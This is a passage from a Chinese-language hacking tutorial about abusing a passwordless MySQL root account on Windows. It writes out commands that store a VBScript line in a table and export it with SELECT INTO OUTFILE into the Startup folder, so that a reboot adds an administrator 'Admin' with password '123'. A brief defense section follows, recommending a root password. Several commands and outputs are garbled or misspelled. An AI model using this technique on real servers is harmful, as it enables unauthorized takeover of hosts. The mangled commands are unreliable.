mysql>insert into avalues ("b=wsgsgell.run(""cmd.exe /c net localgroup Administrators admin/add"",0);看看有沒有輸入錯的地方: mysql>select*forma 輸出表爲一個VCS的腳本文件:mysql>select *from ainto autfile "c://docume~1//alluse~1//[開始] 菜單//程序//ceshi.vbs";

我們把表中的內容輸入到啓動組中,是一個VBS的腳本文件!注意“/”符號。現在所有工作都完成了,下面就是等機器重起,機器重起後,ceshi.vbs也會跟着啓動,到時候他機器裏就有用戶爲Admin、密碼爲:123的超級用戶了。

防禦方法:
對於這種攻擊方法的防禦最簡單、安全的方法就是給MYSQL的Root用戶增加口令。方法如下:
本地設置密碼:mysql uroot password 密碼
遠程設置密碼:grant select,update,delete on *..*to root@” identified by “密碼”如下:
mysql>grant select,update,delete on *..*to root@” identified by"123">/c
mysql>grant select,update,delete on *..*to root@” identified by"123"query ok,0rous affected<0 34 see>

編後語:希望通過本文給各位朋友帶來點幫助,寫得還有很多不足之處,因爲工作的原因,沒有太多的時間把整個安全配置過程寫得更詳細,如需學習更多的服務器攻、防知識,請訪問服務器焦點網站 http://www.serverfocus.net 或 http://www.cnhack.cn 。如有問題及建議請發E-mail至 [email protected] 。 hits.asp?id=1131
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章